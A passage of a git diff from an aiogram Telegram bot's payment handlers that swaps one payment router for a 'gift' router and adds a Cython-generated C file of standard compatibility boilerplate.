FREEKASSA_ENABLE, ROBOKASSA_ENABLE, STARS_ENABLE, YOOKASSA_ENABLE, DONATIONS_ENABLE, YOOMONEY_ENABLE - +from config import ( + CRYPTO_BOT_ENABLE, + DONATIONS_ENABLE, + FREEKASSA_ENABLE, + ROBOKASSA_ENABLE, + STARS_ENABLE, + YOOKASSA_ENABLE, + YOOMONEY_ENABLE, +) router = Router() diff --git a/handlers/payments/__init__.py b/handlers/payments/__init__.py index aabe25a2..b6605110 100644 --- a/handlers/payments/__init__.py +++ b/handlers/payments/__init__.py @@ -1,6 +1,7 @@ __all__ = ("router",) from aiogram import Router + from config import ( CRYPTO_BOT_ENABLE, FREEKASSA_ENABLE, @@ -11,7 +12,7 @@ from config import ( ) from .cryprobot_pay import router as cryprobot_router -from .freekassa_pay import router as freekassa_router +from .gift import router as gift_router from .robokassa_pay import router as robokassa_router from .stars_pay import router as stars_router from .yookassa_pay import router as yookassa_router @@ -23,11 +24,11 @@ if YOOKASSA_ENABLE: router.include_router(yookassa_router) if YOOMONEY_ENABLE: router.include_router(yoomoney_router) -if FREEKASSA_ENABLE: - router.include_router(freekassa_router) if ROBOKASSA_ENABLE: router.include_router(robokassa_router) if CRYPTO_BOT_ENABLE: router.include_router(cryprobot_router) if STARS_ENABLE: router.include_router(stars_router) + +router.include_router(gift_router) diff --git a/handlers/payments/cryprobot_pay.c b/handlers/payments/cryprobot_pay.c new file mode 100644 index 00000000..2281c185 --- /dev/null +++ b/handlers/payments/cryprobot_pay.c @@ -0,0 +1,20187 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.cryprobot_pay", + "sources": [ + "handlers/payments/cryprobot_pay.py" + ] + }, + "module_name": "handlers.payments.cryprobot_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), 